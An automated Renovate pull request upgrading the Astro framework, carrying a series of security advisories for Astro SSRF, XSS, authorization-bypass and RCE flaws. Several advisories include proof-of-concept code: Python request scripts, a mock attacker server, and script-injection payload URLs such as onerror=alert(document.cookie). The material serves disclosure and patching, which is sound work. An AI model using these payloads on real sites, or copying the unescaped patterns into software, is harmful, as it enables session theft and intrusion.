Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: github.com/withastro/astro@e0f1a2b3e4/packages/astro/src/assets/endpoint/generic.ts (L43-L56)

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: github.com/withastro/astro@e0f1a2b3e4/packages/internal-helpers/src/remote.ts (L15-L21)

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source: github.com/withastro/astro@e0f1a2b3e4/packages/internal-helpers/src/remote.ts (L85-L99)

} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}

Vulnerable code flow:

  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.
PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});
Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code
import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

##### Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))
Attacker server
from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()
PoC Steps
  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.

Severity

  • CVSS Score: 2.9 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: XSS in define:vars via incomplete tag sanitization

CVE-2026-41067 / GHSA-j687-52p2-xcff

More information

Details

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/<\/script>/g,       // ← Case-sensitive, exact match only
			'\\x3C/script>',
		)};\n`;
	}
	return markHTMLString(output);
}

This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:

if (name === 'script') {
	delete props.hoist;
	children = defineScriptVars(defineVars) + '\n' + children;
}

The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

  1. Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag.
  2. Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
  3. Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElement → defineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):

---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars=>
    console.log(name);
  </script>
</body>
</html>

Step 2: Ensure SSR is enabled in astro.config.mjs:

export default defineConfig({
  output: 'server'
});

Step 3: Start the dev server and visit:

http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>

Step 4: View the HTML source. The output contains:

<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>

The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:

/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:

  • Session hijacking via cookie theft (document.cookie)
  • Credential theft by injecting fake login forms or keyloggers
  • Defacement of the rendered page
  • Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/</g,
			'\\u003c',
		)};\n`;
	}
	return markHTMLString(output);
}

This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: Server island encrypted parameters vulnerable to cross-component replay

CVE-2026-45028 / GHSA-xr5h-phrj-8vxv

More information

Details

Impact

Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (p) value as another component's slots (s) value, or vice versa.

Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet all of the following conditions:

  • The application uses server islands
  • Two different server island components share the same key name for a prop and a slot
  • An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page)

These conditions are very unlikely to occur in real-world production applications.

Patches

This has been patched in astro@6.1.10.

The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like props:IslandName or slots:IslandName, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots.

References

Severity

  • CVSS Score: 2.9 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: Reflected XSS via unescaped slot name

CVE-2026-50146 / GHSA-8hv8-536x-4wqp

More information

Details

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});

src/pages/index.astro

---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>

src/components/Wrapper.jsx

export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

image

This will render in html.

<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>
Fix

I suggest leveraging the existing escape function on the slot name.

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: Host header SSRF in prerendered error page fetch

CVE-2026-54299 / GHSA-2pvr-wf23-7pc7

More information

Details

Summary

Astro SSR apps with prerendered error pages (/404 or /500 using export const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header is not validated against allowedDomains, an attacker can point the fetch at an arbitrary host and read the response.

Who is affected

This affects SSR deployments that:

  1. Have a prerendered 404 or 500 page
  2. Use createRequestFromNodeRequest from astro/app/node with app.render() without overriding prerenderedErrorPageFetch — this includes custom servers built on the public API and third-party adapters

Not affected:

  • @astrojs/node >= 9.5.4 (reads error pages from disk)
  • @astrojs/cloudflare (uses the ASSETS binding)
  • The dev server (renders error pages in-process)
How it works

createRequestFromNodeRequest builds request.url from the raw Host / :authority header. The allowedDomains option is accepted but only gates X-Forwarded-For — it does not constrain the URL origin. (The public createRequest does fall back to localhost for unvalidated hosts; this internal builder did not.)

When app.render() encounters a 404 or 500 with a prerendered error route, default-handler.ts constructs the error page URL using the origin from request.url and fetches it via prerenderedErrorPageFetch, which defaults to global fetch. The response body is served to the client.

An attacker sends a request with Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.

Remediation

The error page fetch origin is now validated against allowedDomains before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to localhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.

Credit

5ud0 / Tarmo Technologies

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: XSS via Unescaped Attribute Names in Spread Props

CVE-2026-54298 / GHSA-jrpj-wcv7-9fh9

More information

Details

Summary

The spreadAttributes function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to addAttribute, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax {...props} on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like onmousemove, onclick, or break out of the attribute context entirely to inject new elements.

Details

The vulnerable function is addAttribute at packages/astro/src/runtime/server/render/util.ts:81-141:

export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') {
    if (value == null) {
        return '';
    }
    
    return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); //  key interpolated not escaped
}

This function is called from spreadAttributes at packages/astro/src/runtime/server/index.ts:91-92:

for (const [key, value] of Object.entries(values)) {
    output += addAttribute(value, key, true, _name);
}

The toAttributeString function escapes the attribute value, but the attribute name key is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers.

Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via {...props}. The compiler generates spreadAttributes(props) which iterates with Object.entries() and calls addAttribute(value, key). The key is interpolated as ` ${key}="${escapedValue}"`. A malicious key breaks attribute context, resulting in XSS.

POC

Create an SSR Astro page (src/pages/index.astro):

---
const props = JSON.parse(Astro.url.searchParams.get('props') || '{}');
---
<html>
<body>
  <h1>Hello</h1>
  <div {...props}>Move mouse here</div>
</body>
</html>

Enable SSR in astro.config.mjs (for URL based demo):

export default defineConfig({
  output: 'server'
});

Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters.

Start the dev server and visit:

http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""}

URL encoded:

http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D

View the HTML source. The output contains:

<div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div>

The key x" onmousemove="alert(document.cookie)" y breaks out of the attribute context. Moving the mouse over the div executes the JavaScript.

Captura de tela 2026-06-02 005906
Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains.

The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments.

Severity

  • CVSS Score: 4.2 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: Cross-site scripting via unescaped transition:* directive values on hydrated islands

CVE-2026-59727 / GHSA-7pw4-f3q4-r2p2

More information

Details

Summary

When a transition:persist, transition:scope, or transition:persist-props directive is applied to a client-hydrated (client:*) component, Astro copied the directive value onto the rendered <astro-island> element without HTML-escaping it. If a developer reflects attacker-controlled input into one of these directives, an attacker can break out of the attribute and inject arbitrary HTML/JavaScript into the server-rendered output, resulting in reflected cross-site scripting (XSS).

Severity

Although a generic reflected XSS scores in the Medium range, exploitation here requires the application developer to have written a non-idiomatic pattern — passing untrusted, request-derived input directly into a transition directive. Astro applications that do not route untrusted input into these directives are unaffected. This mitigating precondition places the real-world severity at Low.

Details

In generateHydrateScript() (packages/astro/src/runtime/server/hydration.ts), every island property is HTML-escaped before serialization — the attrs, props, and opts assignments all pass through escapeHTML(). The transition directives, however, were copied verbatim:

transitionDirectivesToCopyOnIsland.forEach((name) => {
  if (typeof props[name] !== 'undefined') {
    island.props[name] = props[name]; // not escaped
  }
});

The <astro-island> element is serialized via renderElement('astro-island', island, false) with shouldEscape=false, and toAttributeString() returns the value unchanged in that mode. As a result there is no downstream re-escaping, and the raw directive value reaches the HTML response. This is the same output sink previously addressed for slot names in GHSA-8hv8-536x-4wqp.

The affected directives are:

  • data-astro-transition-scope (transition:scope)
  • data-astro-transition-persist (transition:persist)
  • data-astro-transition-persist-props (transition:persist-props)

Note that transition:persist is typed boolean | string, so passing a string value is a supported use of the API.

Proof of Concept

A component that reflects a query parameter into a transition directive:

---
const persist = Astro.url.searchParams.get('persist') ?? 'default';
---
<Island client:load transition:persist={persist} />

Request:

https://example.com/?persist="><img src=x onerror=alert(document.domain)>

Rendered output (before the fix):

<astro-island … data-astro-transition-persist=""><img src=x onerror=alert(document.domain)>></astro-island>

The " closes the attribute and the injected <img onerror=…> executes in the victim's browser.

Impact

Reflected XSS. An attacker who can induce a victim to visit a crafted URL can execute arbitrary script in the victim's session on the origin, subject to the requirement that the target application reflects untrusted input into one of the affected transition directives.

Affected Versions

astro >= 3.10.0, < 7.0.4 (introduced in 3.10.0, PR #​7861).

Patched Versions

astro >= 7.0.4. Fixed in PR #​17212 by HTML-escaping transition directive values before they are rendered onto the island element.

Workarounds

Do not pass untrusted or request-derived input into transition:persist, transition:scope, or transition:persist-props. If such input is required, HTML-escape or strictly validate it before passing it to the directive. Upgrading to astro@7.0.4 or later removes the need for manual mitigation.

Credits

Reported by @​jlgore.

Severity

  • CVSS Score: 2.1 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: XSS via unescaped spread attribute names in renderHTMLElement (incomplete fix for CVE-2026-54298)

CVE-2026-59729 / GHSA-f48w-9m4c-m7f5

More information

Details

Summary

The fix for CVE-2026-54298 (GHSA-jrpj-wcv7-9fh9) added an INVALID_ATTR_NAME_CHAR guard to addAttribute() so that spread-prop attribute names containing "' >/= or whitespace are dropped. A second attribute-rendering path, renderHTMLElement() in packages/astro/src/runtime/server/render/dom.ts, has its own inline attribute loop that does not go through addAttribute() and was not updated. It interpolates the attribute name unescaped and only escapes the value, so untrusted prop keys spread onto a native-HTMLElement-subclass component can still break out of the attribute context, resulting in XSS.

Details

renderHTMLElement builds attributes directly:

for (const attr in props) {
  attrHTML += ` ${attr}="${toAttributeString(await props[attr])}"`;
}

The attribute name (attr) is interpolated raw; only the value is escaped via toAttributeString. By contrast, the hardened addAttribute in util.ts rejects invalid names:

if (INVALID_ATTR_NAME_CHAR.test(key)) { return ''; } // /[\s"'>/=]/

renderHTMLElement is reached from component.ts when the component is a native HTMLElement subclass:

if (!renderer && typeof HTMLElement === 'function' && componentIsHTMLElement(Component)) {
  const output = await renderHTMLElement(result, Component, _props, slots);
}

where _props carries spread props verbatim.

Reachability

The branch only runs when typeof HTMLElement === 'function' at SSR time. In default Node SSR HTMLElement is undefined, so the branch is dead. It becomes reachable when the SSR runtime exposes a global HTMLElement (Deno, Bun with a DOM shim, or jsdom/happy-dom in Node) and a class extending HTMLElement is used directly as an Astro component that receives untrusted-keyed spread props.

Proof of Concept

Given malicious spread props:

const maliciousProps = {
  'onmouseover=alert(document.domain) x': 'y',
  'x><script>alert(1)</script>': 'z',
};
  • addAttribute (post-fix) → <my-el></my-el> (key stripped — safe)
  • renderHTMLElement → <my-el onmouseover=alert(document.domain) x="y" x><script>alert(1)</script>="z"></my-el> (handler + <script> injected — XSS)

Equivalent Astro template, served by an SSR runtime that defines a global HTMLElement:

---
import MyElement from '../MyElement.js'; // class MyElement extends HTMLElement {}
const userInput = Astro.url.searchParams;  // untrusted keys
---
<MyElement {...Object.fromEntries(userInput)} />
Impact

Cross-site scripting (CWE-79) via attribute-name breakout — the same vulnerability class as CVE-2026-54298, in a code path its fix did not cover. An attacker who controls the keys of an object spread onto a native-HTMLElement-subclass component can inject arbitrary event-handler attributes or sibling elements (including <script>) into the SSR output. Reachability is constrained by the runtime and component preconditions described above.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: Reflected XSS via unescaped View Transition animation properties

CVE-2026-73422 / GHSA-4g3v-8h47-v7g6

More information

Details

Summary

Astro's server-side View Transition CSS generator interpolates animation properties into an inline <style> element without escaping them for the CSS and HTML contexts.

An attacker-controlled value passed to an animation property such as duration can contain a </style> sequence, terminate the generated style element, and inject arbitrary HTML or JavaScript.

This is similar to GHSA-8hv8-536x-4wqp, but exploits a different injection point: unescaped View Transition animation values in a server-generated <style> element rather than an unescaped slot name in a hydration template.

Like GHSA-8hv8-536x-4wqp, exploitation requires an application to pass attacker-controlled data to an Astro API. However, the value is subsequently inserted into the HTML response without context-appropriate escaping by Astro.

Details

packages/astro/src/runtime/server/transition.ts

The generated stylesheet is wrapped in a <style> element and marked as HTML-safe:

const css = sheet.toString();
result._metadata.extraHead.push(markHTMLString(`<style>${css}</style>`));

Animation properties are added to the stylesheet without escaping:

if (anim.duration) {
  addAnimationProperty(builder, 'animation-duration', toTimeValue(anim.duration));
}

For string values, toTimeValue() returns the input unchanged:

export function toTimeValue(num: number | string) {
  return typeof num === 'number' ? num + 'ms' : num;
}

As a result, a duration value containing </style> can escape from the generated style element.

Other TransitionAnimation properties, including easing, direction, delay, fillMode, and name, are serialized by the same animation builder. The following PoC only relies on the official fade() helper and its duration option.

PoC

Using:

  • astro@7.0.9
  • @astrojs/node@11.0.2
astro.config.mjs
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});
src/pages/index.astro
---
import { fade } from 'astro:transitions';

const duration = Astro.url.searchParams.get('duration') ?? '300ms';
---

<html lang="en">
  <head>
    <meta charset="utf-8" />
    <title>PoC</title>
  </head>
  <body>
    <div transition:animate={fade({ duration })}>
      Animated content
    </div>
  </body>
</html>
Payload:

open:

http://localhost:4321/?duration=%3C%2Fstyle%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C!--

The browser interprets </style> as the end of the generated style element and executes the injected script. An alert dialog is displayed when the page is opened.

image
Impact

An attacker who can control a View Transition animation value can execute arbitrary JavaScript in the origin of the affected Astro application.

The query-based reflected XSS scenario affects on-demand/server-rendered routes, such as:

  • projects configured with output: "server";
  • pages using export const prerender = false;
  • other server-side data flows that pass attacker-controlled values into a View Transition animation definition.

Successful exploitation may allow access to sensitive page data and authenticated actions available to the victim.

Suggested Fix

Animation values should be serialized using context-appropriate CSS escaping or validation before being added to the generated stylesheet.

Additionally, content inserted into a raw <style> element must not be able to contain an HTML end-tag sequence such as </style>. The final generated CSS should be made safe for the HTML raw-text context before it is passed to markHTMLString().

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: Authorization bypass from missing path-segment boundary check when stripping the configured base

CVE-2026-84376 / GHSA-376h-93r7-7g6f

More information

Details

Summary

Astro stripped a configured base path from request pathnames using a string-prefix check that did not verify a path-segment boundary. With base: "/app", a request to /appX/admin was treated as being under the base and resolved internally to the /admin route, while middleware still observed the public pathname /appX/admin. Middleware that authorizes routes by inspecting context.url.pathname could therefore be bypassed.

Impact

An unauthenticated remote attacker can bypass pathname-based middleware authorization in applications that:

  • Configure a non-root base.
  • Protect base-prefixed routes in middleware using context.url.pathname.

Because routing and middleware resolved different effective pathnames, a request such as /appX/admin (or other single-character extensions like /app2/admin or /app-/admin) reached the protected /admin route without passing the middleware check that guards /app/admin. Astro's authentication guide demonstrates protecting routes in middleware via context.url.pathname, so this is a reasonable and expected pattern.

Affected versions

astro <= 7.2.3.

Patches

Fixed in astro 7.2.4. Base stripping now requires the pathname to equal the base without its trailing slash, or to be followed by a /, so a prefix that does not end on a path-segment boundary is no longer treated as being under the base. Routing and context.url.pathname now resolve the same pathname.

Workarounds

Upgrade to astro 7.2.4 or later. As a mitigation before upgrading, avoid relying solely on prefix checks of context.url.pathname for authorization, or reject requests whose pathname does not begin with the configured base followed by a path-segment boundary.

Credits

Reported by @​Ryoga-exe.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: Remote code execution through AVIF image optimization

GHSA-26w7-cxv4-gfx2

More information

Details

A vulnerability in libheif, used by the default Sharp image service in Astro, can lead to remote code execution when a malicious AVIF image is optimized.

Projects are affected when an attacker can cause Astro to process an untrusted AVIF image.

The fix was released in Astro 7.2.8, which requires Sharp 0.35.4.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

❗ Important

Release Notes retrieval for this PR were skipped because no github.com credentials were available.
If you are self-hosted, please see this instruction.


Configuration

📅 Schedule: (in timezone UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [astro](https://astro.build) ([source](https://github.com/withastro/astro/tree/HEAD/packages/astro)) | [`^4.2.8` → `^7.0.0`](https://renovatebot.com/diffs/npm/astro/4.14.2/7.2.8) | ![age](https://developer.mend.io/api/mc/badges/age/npm/astro/7.2.8?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/astro/4.14.2/7.2.8?slim=true) | --- > ⚠️ **Warning** > > Some dependencies could not be looked up. Check the [Dependency Dashboard](issues/6) for more information. --- ### DOM Clobbering Gadget found in astro's client-side router that leads to XSS [CVE-2024-47885](https://nvd.nist.gov/vuln/detail/CVE-2024-47885) / [GHSA-m85w-3h95-hcf9](https://github.com/advisories/GHSA-m85w-3h95-hcf9) <details> <summary>More information</summary> #### Details ##### Summary A DOM Clobbering gadget has been discoverd in Astro's client-side router. It can lead to cross-site scripting (XSS) in websites enables Astro's client-side routing and has *stored* attacker-controlled scriptless HTML elements (i.e., `iframe` tags with unsanitized `name` attributes) on the destination pages. ##### Details ##### Backgrounds DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references: [1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/ ##### Gadgets found in Astro We identified a DOM Clobbering gadget in Astro's client-side routing module, specifically in the `<ViewTransitions />` component. When integrated, this component introduces the following vulnerable code, which is executed during page transitions (e.g., clicking an `<a>` link): https://github.com/withastro/astro/blob/7814a6cad15f06931f963580176d9b38aa7819f2/packages/astro/src/transitions/router.ts#L135-L156 However, this implementation is vulnerable to a DOM Clobbering attack. The `document.scripts` lookup can be shadowed by an attacker injected non-script HTML elements (e.g., `<img name="scripts"><img name="scripts">`) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements. The condition `script.dataset.astroExec === ''` on line 138 can be bypassed because the attacker-controlled element does not have a data-astroExec attribute. Similarly, the check on line 134 can be bypassed as the element does not require a `type` attribute. Finally, the `innerHTML` of an attacker-injected non-script HTML elements, which is plain text content before, will be set to the `.innerHTML` of an script element that leads to XSS. ##### PoC Consider a web application using Astro as the framework with client-side routing enabled and allowing users to embed certain scriptless HTML elements (e.g., `form` or `iframe`). This can be done through a bunch of website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page. For PoC website, please refer to: `https://stackblitz.com/edit/github-4xgj2d`. Clicking the "about" button in the menu will trigger an `alert(1)` from an attacker-injected `form` element. ``` --- import Header from "../components/Header.astro"; import Footer from "../components/Footer.astro"; import { ViewTransitions } from "astro:transitions"; import "../styles/global.css"; const { pageTitle } = Astro.props; --- <html lang="en"> <head> <meta charset="utf-8" /> <link rel="icon" type="image/svg+xml" href="/favicon.svg" 